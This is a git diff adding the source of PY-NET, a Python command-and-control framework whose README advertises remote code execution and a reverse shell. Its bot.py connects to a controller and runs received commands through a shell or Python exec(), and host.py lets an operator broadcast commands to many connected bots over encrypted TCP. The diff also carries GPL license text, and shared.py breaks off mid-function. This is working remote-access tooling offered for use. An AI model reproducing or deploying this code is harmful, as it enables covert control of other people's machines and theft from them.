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+ GNU GENERAL PUBLIC LICENSE
+ Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
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+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+ <one line to give the program's name and a brief idea of what it does.>
+ Copyright (C) <year> <name of author>
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+ <program> Copyright (C) <year> <name of author>
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<http://www.gnu.org/licenses/>.
+
+ The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library. If this is what you want to do, use the GNU Lesser General
+Public License instead of this License. But first, please read
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..6522e14
--- /dev/null
+++ b/README.md
@@ -0,0 +1,72 @@
+# PY-NET
+PY-NET is a cross-platform C&C server hosting program requiring zero third-party dependencies. Supporting both AES & TLS encrypted connections over TCP.
+
+## Requirements
+* [Python 3.8+](https://www.python.org/downloads/release/python-380)
+* (cryptography)
+
+## Features
+* Stable RCE & Reverse Shell
+* Zero Third-party Dependencies
+ * _Requires the cryptography library when using AES encryption_
+* Cross-Platform
+* Multiple Connection Types
+ * Raw - Compression
+ * Symmetric - Compression & AES Encryption
+ * Asymmetric - TLS Encryption
+
+## Implementation Features
+* Secure TCP message implementation using a server side generated token for each message
+* Fast TCP message transfer using bytearrays instead of strings
+* Encryption of TCP headers when using AES encryption
+* Specific encoding, encoding errors & language code support
+* Support for shell & connection timeouts
+* No HTTP overhead or dependency on the web
+
+## Usage
+* python host.py
+* python bot.py
+
+#### Generating Self-signed Keys
+* python host.py --pubk_out [filepath] --privk_out [filepath]
+ * _Requires openssl in your path variable_
+
+#### Connecting to an AES Encrypted Host
+* python bot.py --password [password] --salt [salt]
+
+#### Connecting to an TLS Encrypted Host
+* python bot.py --pubk_data "[public key string]"
+
+## Commands
+* exit
+ * Exit the program
+
+* cls
+ * Clear the screen
+
+* list
+ * List all hosts & connected bots
+ * This will show their ID used for specific interactions
+ * This will also specify their session status
+
+* listen (--hostname [hostname]) (--port [port]) (--password [password] & --salt [salt])
+* listen (--hostname [hostname]) (--port [port]) (--pubk [public key filepath] & --privk [private key filepath])
+ * --hostname & --port defaults to localhost & 38568
+ * --password & --salt starts an AES encrypted host
+ * --pubk & --privk starts an TLS encrypted host
+
+* who --id [host or bot ID]
+ * Specific address information of host or bot
+
+* close --id [host or bot IDs separated by comma]
+ * Closes connections of hosts or bots
+
+* session --id [bot IDs separated by comma] (--remove)
+ * --remove will remove the bot from the active session
+
+## Session Commands
+* ([command] | --filepath [filepath]) (--run) (--history)
+ * A reverse shell for any command
+ * --filepath sets the command with the file's content
+ * --run executes the command as Python code instead
+ * --history provides additional information of transferred data
diff --git a/bot.py b/bot.py
new file mode 100644
index 0000000..5dc4eea
--- /dev/null
+++ b/bot.py
@@ -0,0 +1,119 @@
+import contextlib
+import subprocess
+import argparse
+import os
+import io
+
+from typing import Optional
+from typing import Tuple
+
+from shared import DEFAULT_HOSTNAME
+from shared import DEFAULT_PORT
+from shared import DEFAULT_ENCODING
+from shared import DEFAULT_LANGUAGE_CODE
+from shared import LIBERAL_ENCODING_ERRORS
+from shared import Platform
+from shared import AsymmetricSocket
+from shared import SymmetricSocket
+from shared import Socket
+
+class Execute:
+
+ ENCODING = DEFAULT_ENCODING
+ LANGUAGE_CODE = DEFAULT_LANGUAGE_CODE
+ TIMEOUT = 60
+
+ @staticmethod
+ def code(code: str) -> str:
+ assert isinstance(code, str), f'Wrong type: {code=}'
+
+ buffer = io.StringIO()
+
+ with contextlib.redirect_stdout(buffer):
+ exec(code)
+
+ return buffer.getvalue()
+
+ @staticmethod
+ def shell(command: str) -> Tuple[Optional[str], Optional[str]]:
+ command = command.strip().replace('\n', ' && ')
+
+ if Platform.WINDOWS and Execute.LANGUAGE_CODE:
+ command = f'chcp {Execute.LANGUAGE_CODE} > nul && {command}'
+
+ proc = subprocess.Popen(command,
+ shell=True,
+ stdin=subprocess.DEVNULL,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ encoding=Execute.ENCODING,
+ errors=LIBERAL_ENCODING_ERRORS)
+
+ try:
+ return ''.join(proc.communicate(timeout=Execute.TIMEOUT)).rstrip()
+ except subprocess.TimeoutExpired as err:
+ proc.kill(); return f'[BOT] ERROR :: {err}'
+
+class Bot:
+
+ def __init__(
+ self,
+ *args,
+ symmetric: Optional[bool]=None,
+ **kwargs
+ ) -> None:
+ assert isinstance(symmetric, bool) or symmetric is None, f'Wrong type: {symmetric=}'
+
+ if symmetric is None:
+ self.bot = Socket(*args)
+ self.bot.set_conn()
+ self.bot.set_middleware()
+ elif symmetric:
+ self.bot = SymmetricSocket(*args, **kwargs)
+ self.bot.set_conn()
+ self.bot.set_middleware()
+ else:
+ self.bot = AsymmetricSocket(*args, **kwargs)
+ self.bot.set_conn()
+ self.bot.set_middleware()
+
+ def connect(self) -> None:
+ while True:
+ request = self.bot.recv()
+
+ try:
+ command, run = (request.get('request'), request.get('run'))
+
+ assert command is not None, f'Missing attribute: {command=}'
+ assert isinstance(run, bool), f'Wrong type: {run=}'
+
+ if run:
+ response = Execute.code(command)
+ elif command[:2] == 'cd':
+ os.chdir(command[2:].lstrip())
+ response = os.getcwd()
+ else:
+ response = Execute.shell(command)
+
+ self.bot.send({'response': response})
+ except Exception as err:
+ self.bot.send({'response': f'[BOT] ERROR :: {err}'})
+
+if __name__ == '__main__':
+ parser = argparse.ArgumentParser()
+ parser.add_argument('--hostname', default=DEFAULT_HOSTNAME)
+ parser.add_argument('--port', type=int, default=DEFAULT_PORT)
+ parser.add_argument('--password')
+ parser.add_argument('--salt')
+ parser.add_argument('--pubk_data')
+ args = parser.parse_args()
+
+ if args.password and args.salt:
+ options = {'symmetric': True, 'password': args.password, 'salt': args.salt}
+ elif args.pubk_data:
+ options = {'symmetric': False, 'public_key_data': args.pubk_data}
+ else:
+ options = {}
+
+ bot = Bot(args.hostname, args.port, **options)
+ bot.connect()
diff --git a/host.py b/host.py
new file mode 100644
index 0000000..cefc9da
--- /dev/null
+++ b/host.py
@@ -0,0 +1,472 @@
+import subprocess
+import threading
+import argparse
+import uuid
+import sys
+import os
+
+from typing import Generator
+from typing import Sequence
+from typing import Optional
+from typing import Union
+from typing import Tuple
+from typing import Dict
+from typing import Any
+
+from shared import DEFAULT_HOSTNAME
+from shared import DEFAULT_PORT
+from shared import DEFAULT_ENCODING
+from shared import STRICT_ENCODING_ERRORS
+from shared import Platform
+from shared import AsymmetricSocket
+from shared import SymmetricSocket
+from shared import Socket
+
+hosts = {}
+
+class Console:
+
+ if Platform.UNIX:
+ ANSI_RED = '\033[31'
+ ANSI_GREEN = '\033[32'
+ ANSI_YELLOW = '\033[33'
+ ANSI_BLUE = '\033[34'
+ ANSI_PURPLE = '\033[35'
+ ANSI_CYAN = '\033[36'
+ ANSI_WHITE = '\033[37'
+ ANSI_RESET = '\033[39m'
+ else:
+ ANSI_RED = ''
+ ANSI_GREEN = ''
+ ANSI_YELLOW = ''
+ ANSI_BLUE = ''
+ ANSI_PURPLE = ''
+ ANSI_CYAN = ''
+ ANSI_WHITE = ''
+ ANSI_RESET = ''
+
+ INFO = f'{ANSI_BLUE}[*]{ANSI_RESET} '
+ SUCCESS = f'{ANSI_GREEN}[+]{ANSI_RESET} '
+ WARNING = f'{ANSI_YELLOW}[!]{ANSI_RESET} '
+ DANGER = f'{ANSI_RED}[-]{ANSI_RESET} '
+ NULL = ''
+
+ @staticmethod
+ def write(
+ obj: Any,
+ prefix: str=INFO,
+ *,
+ color: str=ANSI_WHITE,
+ suffix: str='',
+ **kwargs
+ ) -> None:
+ print(f'{prefix}{color}{obj}{Console.ANSI_RESET}{suffix}\n', **kwargs)
+
+ @staticmethod
+ def table(
+ rows: Sequence,
+ *,
+ headers: Sequence,
+ prefix: str='',
+ suffix: str='',
+ separator: str='-',
+ margin: str=' '
+ ) -> str:
+ column_lengths = []
+ result = [prefix]
+
+ for header in headers:
+ column_lengths.append([len(str(header))])
+
+ for row in rows:
+ for index, column in enumerate(row):
+ column_lengths[index].append(len(str(column)))
+ else:
+ max_column_lengths = []
+
+ for column_length in column_lengths:
+ max_column_lengths.append(max(column_length))
+
+ for index, header in enumerate(headers):
+ result.append(str(header).ljust(max_column_lengths[index]) + margin)
+ else:
+ result.append('\n')
+
+ for max_column_length in max_column_lengths:
+ result.append(max_column_length * separator + margin)
+ else:
+ result.append('\n')
+
+ for row in rows:
+ for index, column in enumerate(row):
+ result.append(str(column).ljust(max_column_lengths[index]) + margin)
+ else:
+ result.append('\n')
+ else:
+ result.append(suffix)
+ return ''.join(result)
+
+ @staticmethod
+ def banner() -> str:
+ return ('----------------------------------------------- __ \n'
+ ' _____ __ __ _ _ ______ _______ w c(..)o (\n'
+ ' | __ \\\\ \ / / | \ | || ____||__ __| \__(-) __)\n'
+ ' | |__) |\ \_/ /______ | \| || |__ | | /\ (\n'
+ ' | ___/ \ /|______|| . ` || __| | | /(_)___)\n'
+ ' | | | | | |\ || |____ | | w /|\n'
+ ' |_| |_| |_| \_||______| |_| | \\\n'
+ '----------------------------------------------- m m')
+
+class Action:
+
+ @staticmethod
+ def args(*args, **kwargs) -> Generator[Any, None, None]:
+ for arg, cast, default in args:
+ if cast is bool:
+ yield kwargs.get(arg) is not None
+ else:
+ value = kwargs.get(arg, default)
+
+ if value == default:
+ yield value
+ else:
+ yield cast(value)
+
+ @staticmethod
+ def exit(_) -> None:
+ Console.write('May we meet in another process...', Console.NULL, end=Console.NULL)
+ sys.exit()
+
+ @staticmethod
+ def cls(_) -> None:
+ if Platform.UNIX:
+ os.system('clear')
+ else:
+ os.system('cls')
+
+ @staticmethod
+ def list(_) -> None:
+ if len(hosts) > 0:
+ rows = []
+
+ for host_id, host in hosts.items():
+ rows.append((host_id, *host.host.address()))
+
+ for bot_id, bot in host.bots.items():
+ rows.append((bot_id, *bot.address()))
+ else:
+ table = Console.table(rows, headers=host.host.address_headers())
+ Console.write(table, Console.NULL, end=Console.NULL)
+ else:
+ Console.write('NO HOSTS RUNNING', Console.WARNING)
+
+ @staticmethod
+ def listen(args: Dict[str, str]) -> None:
+ hostname, port, password, salt, pubk, privk = Action.args(('hostname', str, DEFAULT_HOSTNAME),
+ ('port', int, DEFAULT_PORT),
+ ('password', str, None),
+ ('salt', str, None),
+ ('pubk', str, None),
+ ('privk', str, None),
+ **args)
+
+ if password and salt:
+ options = {'symmetric': True, 'password': password, 'salt': salt}
+ elif pubk and privk:
+ options = {'symmetric': False, 'public_key': pubk, 'private_key': privk}
+ else:
+ options = {}
+
+ host = Host(hostname, port, **options)
+
+ if host.host.conn is None:
+ Console.write('HOST NOT STARTED', Console.DANGER)
+ else:
+ host_id = str(uuid.uuid4())
+ hosts[host_id] = host
+ threading.Thread(target=host.listen, args=(host_id,), daemon=True).start()
+ Console.write(f'HOST STARTED :: {host.host}', Console.SUCCESS)
+
+ @staticmethod
+ def who(args: Dict[str, str]) -> None:
+ id, = Action.args(('id', str, None), **args)
+
+ assert id, f'Missing attribute: {id=}'
+
+ who_conn = None
+
+ for host_id, host in hosts.items():
+ if host_id == id:
+ who_conn = host.host; break
+ else:
+ if id in host.bots:
+ who_conn = host.bots[id]; break
+
+ if who_conn is None:
+ Console.write(f'NO MATCHING ID FOUND :: {id}', Console.WARNING)
+ else:
+ rows, headers = who_conn.detailed_address()
+ table = Console.table(rows, headers=headers)
+ Console.write(table, Console.NULL, end=Console.NULL)
+
+ @staticmethod
+ def close(args: Dict[str, str]) -> None:
+ id, = Action.args(('id', str, None), **args)
+
+ assert id, f'Missing attribute: {id=}'
+
+ conn_ids = [id.strip() for id in id.split(',') if id]
+
+ for host_id, host in hosts.copy().items():
+ if host_id in conn_ids:
+ for bot_id, bot in host.bots.copy().items():
+ Action._close_conn(bot_id, bot, host.bots)
+ else:
+ Action._close_conn(host_id, host.host, hosts); conn_ids.remove(host_id)
+ Console.write(f'HOST CLOSED :: {host_id}', Console.SUCCESS, end=Console.NULL)
+ else:
+ for bot_id, bot in host.bots.copy().items():
+ if bot_id in conn_ids:
+ Action._close_conn(bot_id, bot, host.bots); conn_ids.remove(bot_id)
+ Console.write(f'BOT CLOSED :: {bot_id}', Console.SUCCESS, end=Console.NULL)
+ else:
+ for conn_id in conn_ids:
+ Console.write(f'NO MATCHING ID FOUND :: {conn_id}', Console.DANGER, end=Console.NULL)
+ else:
+ print()
+
+ @staticmethod
+ def session(args: Dict[str, str]) -> None:
+ id, remove = Action.args(('id', str, None), ('remove', bool, None), **args)
+
+ assert id, f'Missing attribute: {id=}'
+
+ conn_ids = [id.strip() for id in id.split(',') if id]
+
+ for host in hosts.values():
+ for conn_id in conn_ids:
+ if conn_id in host.bots:
+ bot = host.bots[conn_id]
+ conn_ids.remove(conn_id)
+
+ if bot.in_session:
+ if remove:
+ bot.in_session = False
+ Console.write(f'BOT REMOVED FROM SESSION :: {id}', Console.SUCCESS, end=Console.NULL)
+ else:
+ Console.write(f'BOT ALREADY IN SESSION :: {id}', Console.WARNING, end=Console.NULL)
+ else:
+ if remove:
+ Console.write(f'BOT NOT IN SESSION :: {id}', Console.WARNING, end=Console.NULL)
+ else:
+ bot.in_session = True
+ Console.write(f'BOT JOINED SESSION :: {id}', Console.SUCCESS, end=Console.NULL)
+ else:
+ for conn_id in conn_ids:
+ Console.write(f'BOT NOT FOUND :: {conn_id}', Console.DANGER, end=Console.NULL)
+ else:
+ print()
+
+ @staticmethod
+ def _close_conn(
+ conn_id: str,
+ conn: Union[Socket, SymmetricSocket, AsymmetricSocket],
+ del_from: Dict[str, Union[Socket, SymmetricSocket, AsymmetricSocket]]
+ ) -> None:
+ conn.close()
+
+ try:
+ del del_from[conn_id]
+ except KeyError:
+ pass
+class Parse:
+
+ COMMANDS = (('exit', Action.exit),
+ ('cls', Action.cls),
+ ('list', Action.list),
+ ('listen', Action.listen),
+ ('who', Action.who),
+ ('close', Action.close),
+ ('session', Action.session))
+
+ def input(self) -> None:
+ Console.write(Console.banner(), Console.NULL, color=Console.ANSI_YELLOW)
+
+ while True:
+ try:
+ command, args = self._parse()
+ found_command = False
+
+ for match, callback in self.COMMANDS:
+ if command == match:
+ callback(args)
+ found_command = True; break
+
+ if not found_command:
+ run, filepath, history = Action.args(('run', bool, None),
+ ('filepath', str, None),
+ ('history', bool, None),
+ **args)
+
+ assert isinstance(run, bool), f'Wrong type: {run=}'
+ assert isinstance(filepath, str) or filepath is None, f'Wrong type: {filepath=}'
+ assert isinstance(history, bool), f'Wrong type: {history=}'
+
+ if filepath:
+ with open(filepath,
+ 'r',
+ encoding=DEFAULT_ENCODING,
+ errors=STRICT_ENCODING_ERRORS) as rf:
+ command = rf.read()
+
+ for host in hosts.values():
+ for bot_id, bot in host.bots.items():
+ if bot.in_session:
+ try:
+ request = {'request': command, 'run': run}
+
+ if history:
+ bot.send(request, self._send_callback)
+ response = bot.recv(self._recv_callback)
+ else:
+ bot.send(request)
+ response = bot.recv()
+ except Exception:
+ Action._close_conn(bot_id, bot, host.bots)
+ raise
+ else:
+ response_text = response.get('response')
+
+ if response_text:
+ Console.write(response_text, Console.NULL)
+ else:
+ Console.write('Empty Response', Console.WARNING)
+ except Exception as err:
+ Console.write(f'[HOST] ERROR :: {err}', Console.NULL)
+
+ def _parse(self) -> Tuple[str, Dict[str, str]]:
+ try:
+ command, *args = input('>>> ').split('--')
+ except (EOFError, KeyboardInterrupt):
+ sys.exit()
+ else:
+ return (command.strip(), dict(self._parse_args(args)))
+
+ def _parse_args(self, args: Sequence) -> Generator[Tuple[str, str], None, None]:
+ for arg in args:
+ arg = arg.strip()
+
+ if arg:
+ key, *value = arg.split(' ')
+ yield (key.rstrip(), ' '.join(value).lstrip())
+
+ @staticmethod
+ def _send_callback(header_size: str, body_size: str, message_size: str) -> None:
+ assert isinstance(header_size, str), f'Wrong type: {header_size=}'
+ assert isinstance(body_size, str), f'Wrong type: {body_size=}'
+ assert isinstance(message_size, str), f'Wrong type: {message_size=}'
+
+ table = Console.table(((header_size, body_size, message_size),),
+ headers=('Header Size', 'Body Size', 'Message Size'))
+ Console.write(table, Console.NULL, end=Console.NULL)
+
+ @staticmethod
+ def _recv_callback(history: Sequence) -> None:
+ assert isinstance(history, (list, tuple)), f'Wrong type: {history=}'
+
+ table = Console.table(history, headers=('Buffer Size',
+ 'Received Data',
+ 'Message Size'))
+ Console.write(table, Console.NULL, end=Console.NULL)
+
+class Host:
+
+ def __init__(
+ self,
+ *args,
+ symmetric: Optional[bool]=None,
+ timeout: Union[int, float]=120,
+ **kwargs
+ ) -> None:
+ assert isinstance(symmetric, bool) or symmetric is None, f'Wrong type: {symmetric=}'
+ assert isinstance(timeout, (int, float)), f'Wrong type: {timeout=}'
+
+ self.symmetric = symmetric
+ self.timeout = timeout
+ self.args = args
+ self.kwargs = kwargs
+ self.bots = {}
+
+ if self.symmetric is None:
+ self.host = Socket(*self.args, server_side=True, is_host=True)
+ self.host.set_conn()
+ self.host.set_context()
+ elif self.symmetric:
+ self.host = SymmetricSocket(*self.args, server_side=True, is_host=True, **self.kwargs)
+ self.host.set_conn()
+ self.host.set_context()
+ else:
+ self.host = AsymmetricSocket(*self.args, server_side=True, is_host=True, **self.kwargs)
+ self.host.set_conn()
+ self.host.set_context()
+ self.host.set_middleware()
+
+ def listen(self, host_id: str) -> None:
+ try:
+ with self.host.conn as host_conn:
+ while True:
+ try:
+ bot_conn, (ip, port) = host_conn.accept()
+ except OSError:
+ continue
+
+ bot_conn.settimeout(self.timeout)
+
+ if self.symmetric is None:
+ bot_conn = Socket(ip, port, conn=bot_conn, server_side=True)
+ bot_conn.set_context()
+ bot_conn.set_middleware()
+ elif self.symmetric:
+ bot_conn = SymmetricSocket(ip, port, conn=bot_conn, server_side=True, **self.kwargs)
+ bot_conn.set_context()
+ bot_conn.set_middleware()
+ else:
+ bot_conn = AsymmetricSocket(ip, port, conn=bot_conn, server_side=True, **self.kwargs)
+ bot_conn.set_context()
+
+ self.bots[str(uuid.uuid4())] = bot_conn
+ except Exception:
+ for bot_id, bot in self.bots.copy().items():
+ Action._close_conn(bot_id, bot, self.bots)
+ else:
+ Action._close_conn(host_id, self.host.conn, hosts)
+
+if __name__ == '__main__':
+ parser = argparse.ArgumentParser()
+ parser.add_argument('--pubk_out')
+ parser.add_argument('--privk_out')
+ args = parser.parse_args()
+
+ if args.pubk_out and args.privk_out:
+ proc = subprocess.run(('openssl',
+ 'req',
+ '-newkey',
+ 'rsa:2048',
+ '-nodes',
+ '-keyout',
+ args.privk_out,
+ '-x509',
+ '-days',
+ '36500',
+ '-out',
+ args.pubk_out,
+ '-batch'),
+ encoding=DEFAULT_ENCODING,
+ errors=STRICT_ENCODING_ERRORS,
+ stdin=subprocess.DEVNULL,
+ stdout=subprocess.DEVNULL,
+ stderr=subprocess.DEVNULL)
+
+ assert proc.returncode == 0, f'Wrong value: {proc.returncode=}'
+ else:
+ Parse().input()
diff --git a/shared.py b/shared.py
new file mode 100644
index 0000000..f19098a
--- /dev/null
+++ b/shared.py
@@ -0,0 +1,410 @@
+import ipaddress
+import platform
+import base64
+import socket
+import uuid
+import zlib
+import json
+import ssl
+import re
+
+from typing import Callable
+from typing import Optional
+from typing import Union
+from typing import Tuple
+from typing import Dict
+from typing import Any
+
+DEFAULT_HOSTNAME = 'localhost'
+DEFAULT_PORT = 38568
+DEFAULT_ENCODING = 'utf-8'
+DEFAULT_LANGUAGE_CODE = 65001
+STRICT_ENCODING_ERRORS = 'strict'
+LIBERAL_ENCODING_ERRORS = 'replace'
+
+class Platform:
+
+ PLATFORM = platform.system()
+ WINDOWS = PLATFORM == 'Windows'
+ LINUX = PLATFORM == 'Linux'
+ MAC = PLATFORM == 'Mac'
+ UNIX = LINUX or MAC
+
+class ExtendedEncoder(json.JSONEncoder):
+
+ def default(self, obj: Any) -> Any:
+ if isinstance(obj, bytes):
+ return base64.b64encode(obj).decode(DEFAULT_ENCODING,
+ errors=STRICT_ENCODING_ERRORS)
+
+ return json.JSONEncoder.default(self, obj)
+
+class ExtendedDecoder(json.JSONDecoder):
+
+ def default(self, obj: Any) -> Any:
+ if isinstance(obj, bytes):
+ return base64.b64decode(obj.encode(DEFAULT_ENCODING,
+ errors=STRICT_ENCODING_ERRORS))
+
+ return json.JSONDecoder.default(self, obj)
+
+class Bytes:
+
+ LABELS = ('B', 'kB', 'MB', 'GB')
+ LAST_LABEL = LABELS[-1]
+ UNIT_STEP = 1024
+ UNIT_STEP_THRESH = UNIT_STEP - 0.005
+
+ @staticmethod
+ def format(num: Union[int, float]) -> str:
+ assert isinstance(num, (int, float)), f'Wrong type: {num=}'
+ assert num >= 0, f'Wrong value: {num=}'
+
+ for unit in Bytes.LABELS:
+ if num < Bytes.UNIT_STEP_THRESH:
+ break
+
+ if unit != Bytes.LAST_LABEL:
+ num /= Bytes.UNIT_STEP
+
+ return f'{num:.2f} {unit}'
+
+class Socket:
+
+ def __init__(
+ self,
+ hostname: str,
+ port: int,
+ *,
+ conn: Optional[Union[socket.socket, ssl.SSLSocket]]=None,
+ server_side: bool=False,
+ is_host: bool=False
+ ) -> None:
+ assert isinstance(hostname, str), f'Wrong type: {hostname=}'
+ assert isinstance(port, int), f'Wrong type: {port=}'
+ assert port >= 1024 and port <= 65535, f'Wrong value: {port=}'
+ assert isinstance(conn, (socket.socket, ssl.SSLSocket)) or conn is None, f'Wrong type: {conn=}'
+ assert isinstance(server_side, bool), f'Wrong type: {server_side=}'
+ assert isinstance(is_host, bool), f'Wrong type: {is_host=}'
+
+ dns_resolved_ip = socket.gethostbyname(hostname)
+ self.ip = ipaddress.ip_address(dns_resolved_ip)
+ self.port = port
+ self.conn = conn
+ self.server_side = server_side
+ self.is_host = is_host
+
+ if self.server_side:
+ self.hostname = hostname if hostname != dns_resolved_ip else None
+ self.data_wrap = None
+ self.data_wrap_notes = None
+
+ if self.is_host:
+ self.in_session = None
+ self.ENCODING = None
+ else:
+ self.in_session = False
+ else:
+ assert not self.is_host, f'Wrong value: {self.is_host=}'
+
+ if not self.is_host:
+ UUID_REGEX = r'^[\da-f]{8}-([\da-f]{4}-){3}[\da-f]{12}$'
+ self.UUID_PATTERN = re.compile(UUID_REGEX, re.IGNORECASE)
+ self.ENCODING = DEFAULT_ENCODING
+ self.DEFAULT_BUFFER_SIZE = self.BUFFER_SIZE = 1024
+ self.MAX_BUFFER_SIZE = 65536
+ self.SEND_HEADER_SIZE = 10
+ self.RECV_HEADER_SIZE = 46
+
+ self.header_send_callback = None
+ self.header_recv_callback = None
+ self.send_callback = None
+ self.recv_callback = None
+ self.uuid_token = None
+
+ def __enter__(self) -> Union[socket.socket, ssl.SSLSocket]:
+ assert self.conn, f'Missing attribute: {self.conn=}'
+ return self.conn
+
+ def __exit__(self, *_) -> None:
+ self.close()
+
+ def __str__(self) -> str:
+ if self.server_side:
+ return f'tcp://{self.ip}:{self.port}'
+ else:
+ return super().__str__()
+
+ def address(self) -> Tuple[str, ...]:
+ assert self.server_side, f'Wrong value: {self.server_side=}'
+ return (self.data_wrap, self.in_session, str(self), self.hostname, self.ENCODING, self.data_wrap_notes)
+
+ def address_headers(self) -> Tuple[str, ...]:
+ assert self.server_side, f'Wrong value: {self.server_side=}'
+ return ('ID', 'Type', 'In Session', 'Address', 'Hostname', 'Encoding', 'Type Notes')
+
+ def detailed_address(self) -> Tuple[Tuple[Tuple[str, Any], ...], Tuple[str, str]]:
+ assert self.server_side, f'Wrong value: {self.server_side=}'
+ return ((('Type', self.data_wrap),
+ ('In Session', self.in_session),
+ ('Address', str(self)),
+ ('Hostname', self.hostname),
+ ('Encoding', self.ENCODING),
+ ('Type Notes', self.data_wrap_notes),
+ ('Address Type', f'{self.ip.max_prefixlen}-bit IPv{self.ip.version}'),
+ ('Reverse Pointer', self.ip.reverse_pointer),
+ ('Global Address', self.ip.is_global),
+ ('Link Local Address', self.ip.is_link_local),
+ ('Loopback Address', self.ip.is_loopback),
+ ('Multicast Address', self.ip.is_multicast),
+ ('Private Address', self.ip.is_private),
+ ('Reserved Address', self.ip.is_reserved),
+ ('Unspecified Address', self.ip.is_unspecified)),
+ ('Key', 'Value'))
+
+ def close(self) -> None:
+ assert self.conn, f'Missing attribute: {self.conn=}'
+
+ try:
+ self.conn.shutdown(socket.SHUT_RDWR)
+ except Exception:
+ pass
+ finally:
+ self.conn.close()
+
+ def set_conn(self, **kwargs) -> socket.socket:
+ if self.server_side:
+ assert self.is_host, f'Wrong value: {self.is_host=}'
+
+ self.conn = socket.create_server((str(self.ip), self.port), **kwargs)
+ else:
+ self.conn = socket.create_connection((str(self.ip), self.port), **kwargs)
+
+ def set_context(self) -> None:
+ assert self.server_side, f'Wrong value: {self.server_side=}'
+
+ if self.is_host:
+ self.data_wrap = 'HOSTING :: COMP'
+ else:
+ self.data_wrap = 'CONNECTING :: COMP'
+
+ def set_middleware(self) -> None:
+ assert not self.is_host, f'Wrong value: {self.is_host=}'
+
+ self.send_callback = lambda body: zlib.compress(body)
+ self.recv_callback = lambda body: zlib.decompress(body)
+
+ def send(self, obj: Dict[str, Any], callback: Callable[[str, str], None]=None) -> None:
+ assert not self.is_host, f'Wrong value: {self.is_host=}'
+ assert self.conn, f'Missing attribute: {self.conn=}'
+ assert isinstance(obj, dict), f'Wrong type: {obj=}'
+ assert callable(callback) or callback is None, f'Wrong type: {callback=}'
+
+ body = json.dumps(obj, cls=ExtendedEncoder)
+ body = body.encode(self.ENCODING, errors=LIBERAL_ENCODING_ERRORS)
+
+ if self.send_callback:
+ body = self.send_callback(body)
+
+ if self.server_side:
+ self.uuid_token = str(uuid.uuid4())
+
+ body_size = len(body)
+ header = str(body_size).ljust(self.SEND_HEADER_SIZE)
+ header = (header + self.uuid_token).encode(DEFAULT_ENCODING,
+ errors=STRICT_ENCODING_ERRORS)
+
+ if self.header_send_callback:
+ header = self.header_send_callback(header)
+
+ if callback:
+ header_size = len(header)
+ callback(Bytes.format(header_size),
+ Bytes.format(body_size),
+ Bytes.format(header_size + body_size))
+
+ self.conn.sendall(header + body)
+
+ def recv(self, callback: Callable[[str, str], None]=None) -> Dict[str, Any]:
+ assert not self.is_host, f'Wrong value: {self.is_host=}'
+ assert self.conn, f'Missing attribute: {self.conn=}'
+ assert callable(callback) or callback is None, f'Wrong type: {callback=}'
+
+ position = 0
+
+ if callback:
+ history = []
+
+ if self.BUFFER_SIZE != self.DEFAULT_BUFFER_SIZE:
+ self.BUFFER_SIZE = self.DEFAULT_BUFFER_SIZE
+
+ while True:
+ buffer = self.conn.recv(self.BUFFER_SIZE)
+
+ assert buffer, f'Missing attribute: {buffer=}'
+
+ buffer_size = len(buffer)
+
+ if position > 0:
+ body[position:position + buffer_size] = buffer
+ position += buffer_size
+ else:
+ header = buffer[:self.RECV_HEADER_SIZE]
+
+ if self.header_recv_callback:
+ header = self.header_recv_callback(header)
+
+ assert isinstance(header, bytes), f'Wrong type: {header=}'
+
+ header = header.decode(DEFAULT_ENCODING, errors=STRICT_ENCODING_ERRORS)
+ uuid_token = header[self.SEND_HEADER_SIZE:self.RECV_HEADER_SIZE]
+
+ assert self.UUID_PATTERN.match(uuid_token), f'Wrong value: {uuid_token=}'
+
+ if self.server_side:
+ assert uuid_token == self.uuid_token, f'Wrong value: {uuid_token} != {self.uuid_token}'
+ else:
+ self.uuid_token = uuid_token
+
+ body_size = int(header[:self.SEND_HEADER_SIZE])
+
+ if body_size >= self.MAX_BUFFER_SIZE:
+ self.BUFFER_SIZE = self.MAX_BUFFER_SIZE
+
+ if callback:
